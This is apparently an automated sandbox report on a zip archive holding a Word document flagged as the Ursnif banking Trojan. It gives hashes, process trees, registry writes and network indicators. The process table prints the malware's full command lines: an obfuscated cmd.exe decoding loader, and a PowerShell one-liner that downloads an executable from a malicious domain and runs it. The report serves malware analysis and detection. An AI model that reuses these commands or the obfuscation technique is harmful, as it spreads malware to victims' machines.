| File name: | Chevrolet_Buick.zip |
| Full analysis: | https://app.any.run/tasks/73661d47-a8ef-4fb8-a7bd-39a16b1301a4 |
| Verdict: | Malicious activity |
| Threats: | Ursnif is a banking Trojan that usually infects corporate victims. It is based on an old malware but was substantially updated over the years and became quite powerful. Today Ursnif is one of the most widely spread banking Trojans in the world. |
| Analysis date: | December 14, 2018, 14:37:52 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/zip |
| File info: | Zip archive data, at least v2.0 to extract |
| MD5: | 074F4077FE8FD78F14515D5F82D7899F |
| SHA1: | 917C37C0D540968375BC71CE9F6307E68D20F6D3 |
| SHA256: | 429368EAD6E3BE5F3CC8E3A6B2A53C31B6A2A2F3F0C20ED75D25BFC835A8A98A |
| SSDEEP: | 768:fx+uRtjx9Dfqr70gqPU6tpkjRePKmN+kAMgUm0QQOAltpHbJfL5FMhtenrudoTCF:VRtfDfPqRQ/AUz5ltnEenrYoW4S6E6q |
MALICIOUS
Starts CMD.EXE for commands execution
- WINWORD.EXE (PID: 296)
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 296)
Executes PowerShell scripts
- cmd.exe (PID: 3660)
URSNIF was detected
- powershell.exe (PID: 932)
SUSPICIOUS
Starts CMD.EXE for commands execution
- cmd.exe (PID: 3708)
- cmd.exe (PID: 3256)
- cmd.exe (PID: 3660)
- cmd.exe (PID: 792)
Starts Microsoft Office Application
- WinRAR.exe (PID: 2832)
Application launched itself
- cmd.exe (PID: 3708)
Creates files in the user directory
- powershell.exe (PID: 932)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 296)
Creates files in the user directory
- WINWORD.EXE (PID: 296)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .zip | | | ZIP compressed archive (100) |
|---|
EXIF
ZIP
| ZipRequiredVersion: | 20 |
|---|---|
| ZipBitFlag: | 0x0009 |
| ZipCompression: | Deflated |
| ZipModifyDate: | 2018:12:14 12:42:06 |
| ZipCRC: | 0xf0feab73 |
| ZipCompressedSize: | 55275 |
| ZipUncompressedSize: | 100608 |
| ZipFileName: | Information-1214.doc |
Total processes
43
Monitored processes
11
Malicious processes
6
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 296 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Rar$DIb2832.35777\Information-1214.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | WinRAR.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 792 | C:\Windows\system32\cmd.exe /c ftype|find "a.1=" | C:\Windows\system32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 932 | PowerShell - | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2372 | C:\Windows\system32\cmd.exe /S /D /c" ftype" | C:\Windows\system32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2396 | "C:\Windows\explorer.exe" | C:\Windows\explorer.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2424 | find "a.1=" | C:\Windows\system32\find.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Find String (grep) Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2736 | C:\Windows\system32\cmd.exe /S /D /c" echo $EmN='PWi';$qlJ=new-object Net.WebClient;$fZp='http://yulawnesse.com/tyclam/fressr.php?l=wygx15.tkn'.Split('@');$avH='Ick';$aqU = '166';$TZc='tGq';$OTY=$env:temp+'\'+$aqU+'.exe';foreach($fdF in $fZp){try{$qlJ.DownloadFile($fdF, $OTY);$Ovh='Gto';If ((Get-Item $OTY).length -ge 80000) {Invoke-Item $OTY;$NdE='acJ';break;}}catch{}}$Rdj='mkl';" | C:\Windows\system32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2832 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\Chevrolet_Buick.zip" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe | |||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.60.0 Modules
| |||||||||||||||
| 3256 | c:\kipiGwHbIilOR\VIjvMnZmObQiMz\kROOPnMrr\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:O/C"set TZjb=WUKdJwCvlXPbRYzpbjwMJh-a.)}8,i(m:t{kg/r eyD=x$cN01G\?+oTZSq@OnfHuI;FE56's&&for %z in (45,68,31,47,43,71,10,0,29,71,66,45,58,8,20,43,61,40,18,22,54,16,17,40,46,33,39,47,40,33,24,0,40,16,6,8,29,40,61,33,66,45,62,56,15,43,71,21,33,33,15,32,37,37,41,64,8,23,18,61,40,72,72,40,24,46,54,31,37,33,41,46,8,23,31,37,62,38,40,72,72,38,24,15,21,15,52,8,43,18,41,36,44,49,69,24,33,35,61,71,24,57,15,8,29,33,30,71,59,71,25,66,45,23,7,63,43,71,65,46,35,71,66,45,23,58,1,39,43,39,71,49,70,70,71,66,45,55,56,46,43,71,33,50,58,71,66,45,60,55,13,43,45,40,61,7,32,33,40,31,15,53,71,51,71,53,45,23,58,1,53,71,24,40,44,40,71,66,62,54,38,40,23,46,21,30,45,62,3,67,39,29,61,39,45,62,56,15,25,34,33,38,41,34,45,58,8,20,24,42,54,18,61,8,54,23,3,67,29,8,40,30,45,62,3,67,28,39,45,60,55,13,25,66,45,60,7,21,43,71,50,33,54,71,66,65,62,39,30,30,50,40,33,22,65,33,40,31,39,45,60,55,13,25,24,8,40,61,36,33,21,39,22,36,40,39,27,48,48,48,48,25,39,34,65,61,7,54,35,40,22,65,33,40,31,39,45,60,55,13,66,45,47,3,68,43,71,23,46,20,71,66,16,38,40,23,35,66,26,26,46,23,33,46,21,34,26,26,45,12,3,17,43,71,31,35,8,71,66,74)do set x0=!x0!!TZjb:~%z,1!&&if %z gtr 73 echo !x0:~-339!|FOR /F "delims=Oy.D1 tokens=2" %W IN ('ftype^^^|find "a.1="')DO %W -" | c:\windows\system32\cmd.exe | — | WINWORD.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3660 | C:\Windows\system32\cmd.exe /S /D /c" FOR /F "delims=Oy.D1 tokens=2" %W IN ('ftype^|find "a.1="') DO %W -" | C:\Windows\system32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
Total events
1 937
Read events
1 459
Write events
473
Delete events
5
Modification events
| (PID) Process: | (2832) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtBMP |
Value: | |||
| (PID) Process: | (2832) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtIcon |
Value: | |||
| (PID) Process: | (2832) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\5F\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2832) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\AppData\Local\Temp\Chevrolet_Buick.zip | |||
| (PID) Process: | (2832) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (2832) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (2832) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
| (PID) Process: | (2832) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | mtime |
Value: 100 | |||
| (PID) Process: | (2832) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\DialogEditHistory\ExtrPath |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\AppData\Local\Temp\Chevrolet_Buick | |||
| (PID) Process: | (2832) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface |
| Operation: | write | Name: | ShowPassword |
Value: 0 | |||
Executable files
0
Suspicious files
4
Text files
0
Unknown types
5
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 296 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRA440.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 296 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DFA9DD7F.wmf | — | |
MD5:— | SHA256:— | |||
| 296 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8F9E42E5.wmf | — | |
MD5:— | SHA256:— | |||
| 932 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\F0POEXXIN1H8K1IRDP0T.temp | — | |
MD5:— | SHA256:— | |||
| 296 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 296 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\AB47D974.wmf | wmf | |
MD5:— | SHA256:— | |||
| 2832 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Chevrolet_Buick\Information-1214.doc | document | |
MD5:— | SHA256:— | |||
| 932 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1ab8c2.TMP | binary | |
MD5:— | SHA256:— | |||
| 2832 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIb2832.35777\Information-1214.doc | document | |
MD5:— | SHA256:— | |||
| 932 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
1
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
932 | powershell.exe | GET | 404 | 94.177.229.49:80 | http://yulawnesse.com/tyclam/fressr.php?l=wygx15.tkn | DE | — | — | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
932 | powershell.exe | 94.177.229.49:80 | yulawnesse.com | Aruba SAS | DE | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
yulawnesse.com |
| malicious |
Threats
1 ETPRO signatures available at the full report